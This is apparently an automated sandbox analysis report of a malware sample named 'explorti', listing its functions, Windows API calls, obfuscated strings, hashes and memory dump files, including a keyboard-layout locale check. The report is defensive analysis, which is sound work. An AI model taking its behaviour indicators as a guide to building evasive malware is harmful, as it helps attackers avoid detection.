String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: 8c22262757ca57f5e4e8317ba55520a73ca06276714d7bace34f89d1085ae782
Instruction ID: aeb3d3eab71f76ea26970bfaf5aa7a3797462ea8768a77fe2ae2e5e8a198ab21
Opcode Fuzzy Hash: 8c22262757ca57f5e4e8317ba55520a73ca06276714d7bace34f89d1085ae782
Instruction Fuzzy Hash: 55E1AD71900218ABEB24DBA4CC99BEEB779EF14304F5042D9E409A7291DB74AFD4CF51

Function 00167CE0 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 392
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00167E83

Strings

McsqMM==, xrefs: 00168042
McsrKc==, xrefs: 001680EA
McsqLc==, xrefs: 00168192

Memory Dump Source

Source File: 0000000B.00000002.3734657366.0000000000161000.00000040.00000001.01000000.00000007.sdmp, Offset: 00160000, based on PE: true

Associated: 0000000B.00000002.3733314781.0000000000160000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3734657366.00000000001C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736359840.00000000001C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.00000000001CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000361000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000470000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.000000000047A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000488000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3745964964.0000000000489000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746755160.0000000000630000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746784698.0000000000632000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_160000_explorti.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: McsqLc==$McsqMM==$McsrKc==
API String ID: 1721193555-2014272013
Opcode ID: d74be6a141746e1c00e506916452c890849d8c7fe90a3b91e1860fd43e234cbc
Instruction ID: 355c8aea803200e4617566547e311be51a5012bdc0a34974c7aedbec29194159
Opcode Fuzzy Hash: d74be6a141746e1c00e506916452c890849d8c7fe90a3b91e1860fd43e234cbc
Instruction Fuzzy Hash: 7DD11670E006549BDB14BF28DC5A7AD7B72AB52314F9042CCE4196B3C2DB758EA4CBD2

Function 00196DE1 Relevance: 4.6, APIs: 3, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNELBASE(?,?,00000000,00000000), ref: 00196E03
GetFileInformationByHandle.KERNELBASE(?,?), ref: 00196E5D
__dosmaperr.LIBCMT ref: 00196EF2

Part of subcall function 00197157: __dosmaperr.LIBCMT ref: 0019718C

Memory Dump Source

Source File: 0000000B.00000002.3734657366.0000000000161000.00000040.00000001.01000000.00000007.sdmp, Offset: 00160000, based on PE: true

Associated: 0000000B.00000002.3733314781.0000000000160000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3734657366.00000000001C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736359840.00000000001C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.00000000001CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000361000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000470000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.000000000047A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000488000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3745964964.0000000000489000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746755160.0000000000630000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746784698.0000000000632000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_160000_explorti.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID:
API String ID: 2531987475-0
Opcode ID: d751e38473b699ef170211c0c6e8a0427b3449436d285c90674326de5038d056
Instruction ID: fc55b75ac288d3468230dac1bfc4f8c5ae5408beb395f8c65f53af57e61a731f
Opcode Fuzzy Hash: d751e38473b699ef170211c0c6e8a0427b3449436d285c90674326de5038d056
Instruction Fuzzy Hash: 30415875910248ABDF24EFB5DC459ABBBF9EF89300B10492EF856D3650EB30E805CB20

Function 0019B4F5 Relevance: 3.0, APIs: 2, Instructions: 19
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,001969A7,?), ref: 0019B4FD
__dosmaperr.LIBCMT ref: 0019B50E

Memory Dump Source

Source File: 0000000B.00000002.3734657366.0000000000161000.00000040.00000001.01000000.00000007.sdmp, Offset: 00160000, based on PE: true

Associated: 0000000B.00000002.3733314781.0000000000160000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3734657366.00000000001C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736359840.00000000001C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.00000000001CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000361000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000470000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.000000000047A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000488000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3745964964.0000000000489000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746755160.0000000000630000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746784698.0000000000632000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_160000_explorti.jbxd

Yara matches

Similarity

API ID: DeleteFile__dosmaperr
String ID:
API String ID: 1911827773-0
Opcode ID: 4decec901fb44af5846c2449c828c07e60a0811b3b7223cf8cc2f83e85a88170
Instruction ID: 4fa848a1c870d2f1d57447c589c99299a1916627526976aad1be53bf019058de
Opcode Fuzzy Hash: 4decec901fb44af5846c2449c828c07e60a0811b3b7223cf8cc2f83e85a88170
Instruction Fuzzy Hash: 5AD0123106A148376E1035B67C04816368D9E823787251A61F82CC55D4DF22EC625051

Function 0019D4D4 Relevance: 1.7, APIs: 1, Instructions: 198
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000B.00000002.3734657366.0000000000161000.00000040.00000001.01000000.00000007.sdmp, Offset: 00160000, based on PE: true

Associated: 0000000B.00000002.3733314781.0000000000160000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3734657366.00000000001C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736359840.00000000001C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.00000000001CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000361000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000470000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.000000000047A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000488000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3745964964.0000000000489000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746755160.0000000000630000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746784698.0000000000632000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_160000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57f3bbed645bad9cfe874ad121b36278d8dcb38d977c73c1743c092645d8a7a9
Instruction ID: c8c3e659250d663e68292495cb7ff900264be58913afd6d46a8a0035880f39ff
Opcode Fuzzy Hash: 57f3bbed645bad9cfe874ad121b36278d8dcb38d977c73c1743c092645d8a7a9
Instruction Fuzzy Hash: 8961C572D002148FEF25EFA8F8856EDBBB0BF55324F26812AE459AB251D7319C44CB61

Function 00168290 Relevance: 1.7, APIs: 1, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?), ref: 00168434

Memory Dump Source

Source File: 0000000B.00000002.3734657366.0000000000161000.00000040.00000001.01000000.00000007.sdmp, Offset: 00160000, based on PE: true

Associated: 0000000B.00000002.3733314781.0000000000160000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3734657366.00000000001C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736359840.00000000001C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.00000000001CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000361000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000470000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.000000000047A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000488000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3745964964.0000000000489000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746755160.0000000000630000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746784698.0000000000632000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_160000_explorti.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 92a9f4bf7ea03ae0f00183c73d63b5b53dd273317b901240a19c4a09bfe1e334
Instruction ID: ef4e5d5fb4ce3d3ae029fa3d23986b76ff99327c2518c02ce54fdd8889e21086
Opcode Fuzzy Hash: 92a9f4bf7ea03ae0f00183c73d63b5b53dd273317b901240a19c4a09bfe1e334
Instruction Fuzzy Hash: D5512670D002589BEB14EB28CD45BEDB775AB55314F504398E818A73C1EF749AD08BA2

Function 00196C79 Relevance: 1.6, APIs: 1, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000B.00000002.3734657366.0000000000161000.00000040.00000001.01000000.00000007.sdmp, Offset: 00160000, based on PE: true

Associated: 0000000B.00000002.3733314781.0000000000160000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3734657366.00000000001C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736359840.00000000001C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.00000000001CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000361000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000470000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.000000000047A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000488000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3745964964.0000000000489000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746755160.0000000000630000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746784698.0000000000632000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_160000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5250c9f877cefb56e9a6fbc38c6df85b630d9de5b57d0d24a3f8b3d87678962b
Instruction ID: f08b83ddb9e62d23012990d564650eed18b60c68d7bb12f9d1f2fa56cd4e895a
Opcode Fuzzy Hash: 5250c9f877cefb56e9a6fbc38c6df85b630d9de5b57d0d24a3f8b3d87678962b
Instruction Fuzzy Hash: 4C210732A051087BEF117BA4AC42F9F3769AF52378F210311F9742B1D1DB70AE0596B1

Function 00196F51 Relevance: 1.6, APIs: 1, Instructions: 56
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SystemTimeToTzSpecificLocalTime.KERNELBASE(00000000,?,?), ref: 00196F93

Memory Dump Source

Source File: 0000000B.00000002.3734657366.0000000000161000.00000040.00000001.01000000.00000007.sdmp, Offset: 00160000, based on PE: true

Associated: 0000000B.00000002.3733314781.0000000000160000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3734657366.00000000001C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736359840.00000000001C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.00000000001CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000361000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000470000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.000000000047A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000488000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3745964964.0000000000489000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746755160.0000000000630000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746784698.0000000000632000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_160000_explorti.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: e17e61bad7e9f4f69164a35fa5d6c719c1e3be6c429d21515559ff9b8d91eda5
Instruction ID: 56483bd50ffaf0e8daa4724428b50260c59a5fed3cc608f033ca73d9ed7d1319
Opcode Fuzzy Hash: e17e61bad7e9f4f69164a35fa5d6c719c1e3be6c429d21515559ff9b8d91eda5
Instruction Fuzzy Hash: AD11FAB290010DABDF10DE95D990EDFB7FCAF08310F605266E516E6184EB74EB498B71

Function 0019D6CF Relevance: 1.5, APIs: 1, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00000003,0019A5CD,?,0019748E,?,00000000,?), ref: 0019D710

Memory Dump Source

Source File: 0000000B.00000002.3734657366.0000000000161000.00000040.00000001.01000000.00000007.sdmp, Offset: 00160000, based on PE: true

Associated: 0000000B.00000002.3733314781.0000000000160000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3734657366.00000000001C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736359840.00000000001C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.00000000001CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000361000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000470000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.000000000047A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000488000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3745964964.0000000000489000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746755160.0000000000630000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746784698.0000000000632000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_160000_explorti.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 9bf0e1020268ed369c21cffece8ca2b2f504e51b410a4d9e29f195d72bb2c692
Instruction ID: 7908da72e7aa7ad652ab8f418865894bd1fdd50eef991914907ea691e417a9c1
Opcode Fuzzy Hash: 9bf0e1020268ed369c21cffece8ca2b2f504e51b410a4d9e29f195d72bb2c692
Instruction Fuzzy Hash: C7F02E3554512466DF292AF5FC41B5B7B99AF51774B194111EC04971C1CB20DC0046F1

Function 0019AEEB Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00176AF7,?,?,0017D302,00176AF7,?,001778CB,8B18EC84,04B20B42), ref: 0019AF1D

Memory Dump Source

Source File: 0000000B.00000002.3734657366.0000000000161000.00000040.00000001.01000000.00000007.sdmp, Offset: 00160000, based on PE: true

Associated: 0000000B.00000002.3733314781.0000000000160000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3734657366.00000000001C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736359840.00000000001C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.00000000001CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000361000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000470000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.000000000047A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000488000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3745964964.0000000000489000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746755160.0000000000630000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746784698.0000000000632000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_160000_explorti.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 78bf25c7898bd11968bb9a264e375975a22feb855ca28b450e20ac4576edc1ec
Instruction ID: f7dd31a39623c89935ca5732f436f2a9e22764c3a1e1a6add86ae7bb4c1ac890
Opcode Fuzzy Hash: 78bf25c7898bd11968bb9a264e375975a22feb855ca28b450e20ac4576edc1ec
Instruction Fuzzy Hash: 23E092B61492226ADF213665AC41B5F3A8C9F933B1FA60120EC45971D1DF61DC0485F3

Function 00176AB0 Relevance: 1.3, APIs: 1, Instructions: 40sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE ref: 00176B35

Memory Dump Source

Source File: 0000000B.00000002.3734657366.0000000000161000.00000040.00000001.01000000.00000007.sdmp, Offset: 00160000, based on PE: true

Associated: 0000000B.00000002.3733314781.0000000000160000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3734657366.00000000001C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736359840.00000000001C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.00000000001CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000361000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000470000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.000000000047A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000488000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3745964964.0000000000489000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746755160.0000000000630000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746784698.0000000000632000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_160000_explorti.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 22ce4c476aa943a80873a714d121c6b6f672a5f8c24f9300454d654f34063b7f
Instruction ID: f17bb76c040f2c86fcb6b610f8a1c7af8d33605d706977e43865dde4cad90b12
Opcode Fuzzy Hash: 22ce4c476aa943a80873a714d121c6b6f672a5f8c24f9300454d654f34063b7f
Instruction Fuzzy Hash: 17F0AF75A00614ABC710BFA8CD07B1EBF75AB26B60F90439CF825676D1EB705A1087D3

Function 04B90B47 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3749728082.0000000004B90000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4b90000_explorti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 981c251f96aeda8ac0091bafb9d8b20f2058d3583142dc1b70563cab493c775b
Instruction ID: a3630cfd88d12302f511505a390db6f147c32ae6ab5019426c81bb023324dc13
Opcode Fuzzy Hash: 981c251f96aeda8ac0091bafb9d8b20f2058d3583142dc1b70563cab493c775b
Instruction Fuzzy Hash: DF2168B330D214BEBA02B9526F50AF637F9E6D673433080FAF802C7501E2159D8A6130

Function 04B90B5C Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3749728082.0000000004B90000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4b90000_explorti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f34940c835a4f88f8b045d22338cc2dfda1c7dd8742be178fabae0185910327
Instruction ID: fe395b2a1df97e7f01fd4eae43897853952cbc69c913e9f5ffadbc9990bd96ca
Opcode Fuzzy Hash: 4f34940c835a4f88f8b045d22338cc2dfda1c7dd8742be178fabae0185910327
Instruction Fuzzy Hash: 9711D3F730D221BE7A42B5826B50AFA27FED5E6730331C0BAF806C7501F2559D8A2031

Function 04B90B8A Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3749728082.0000000004B90000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4b90000_explorti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 860bda0922dfc4a05a8fc6a5054c67dbf3e149095837b52d70b0e42b3e2bf88d
Instruction ID: 4409c874bab9ec581e238dd139bb48ba7d6f292df61ef288737b3ed501a626be
Opcode Fuzzy Hash: 860bda0922dfc4a05a8fc6a5054c67dbf3e149095837b52d70b0e42b3e2bf88d
Instruction Fuzzy Hash: C8110AB770D120BE7A41F1923B50ABA67F9D6D5735330C4BBF806C6501F2199D8A2130

Function 04B90BCC Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3749728082.0000000004B90000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4b90000_explorti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b61622467a8d792372e3475e9e00f930825f095d92ed97bad0088cd92450bd2b
Instruction ID: f85204c69c5dfa6e18721ed5d7f9a37d78b303b6a9691061b0c5ff25996379c8
Opcode Fuzzy Hash: b61622467a8d792372e3475e9e00f930825f095d92ed97bad0088cd92450bd2b
Instruction Fuzzy Hash: DD0168B320E150AEAA41F16226902B627F5E9E733133080FEF006C6101F1195D8A6130

Function 04B90BBD Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3749728082.0000000004B90000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4b90000_explorti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7855b1ce4f92921513c32cf8980878a6e5f7677948491ca13755087f5b0a67ad
Instruction ID: 01b41de142482dca64f74ff23a7b612df7f1cde2b95c9dca6a17e8357b2ee3e2
Opcode Fuzzy Hash: 7855b1ce4f92921513c32cf8980878a6e5f7677948491ca13755087f5b0a67ad
Instruction Fuzzy Hash: 5001D6B734E121AE6A41F1523780AB627F9E5E633533084FBF446C7501F249AD8A6130

Function 04B90BF9 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3749728082.0000000004B90000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4b90000_explorti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b90c1d637e94d83c3ab92d9741e5a9e9c1c49c006176710180dfc612aee9a816
Instruction ID: a1f3fd0bc6824f7eaf6a18e0685791f4027a0c7aa16107be34a4992357415cd0
Opcode Fuzzy Hash: b90c1d637e94d83c3ab92d9741e5a9e9c1c49c006176710180dfc612aee9a816
Instruction Fuzzy Hash: 53F0E5B730F221AD6A85F08237406B627F9E1EB33233184FBF40BC2601B1486E8A3131

Function 04B90C1B Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3749728082.0000000004B90000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4b90000_explorti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ffb9c55adca0df2c913a11b6c62394804cbf468e4852bce1032d23b70f3f5b00
Instruction ID: 2655bd05f05af072cbcdd398ba712fb25f5ce18fc7d56e1860ca77fb4c0f850a
Opcode Fuzzy Hash: ffb9c55adca0df2c913a11b6c62394804cbf468e4852bce1032d23b70f3f5b00
Instruction Fuzzy Hash: 59E0927B34F221ADA545E08237516B677F5E1EA33273184FBF44BC2A01B1445D9A7131

Non-executed Functions

Function 001A3048 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1340COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 001A31C3

Strings

1#QNAN, xrefs: 001A4361
1#INF, xrefs: 001A437E
1#SNAN, xrefs: 001A435A
1#IND, xrefs: 001A4353

Memory Dump Source

Source File: 0000000B.00000002.3734657366.0000000000161000.00000040.00000001.01000000.00000007.sdmp, Offset: 00160000, based on PE: true

Associated: 0000000B.00000002.3733314781.0000000000160000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3734657366.00000000001C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736359840.00000000001C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.00000000001CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000361000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000470000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.000000000047A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000488000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3745964964.0000000000489000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746755160.0000000000630000.00000040.00000001.01000000.00000007.sdmpDownload File
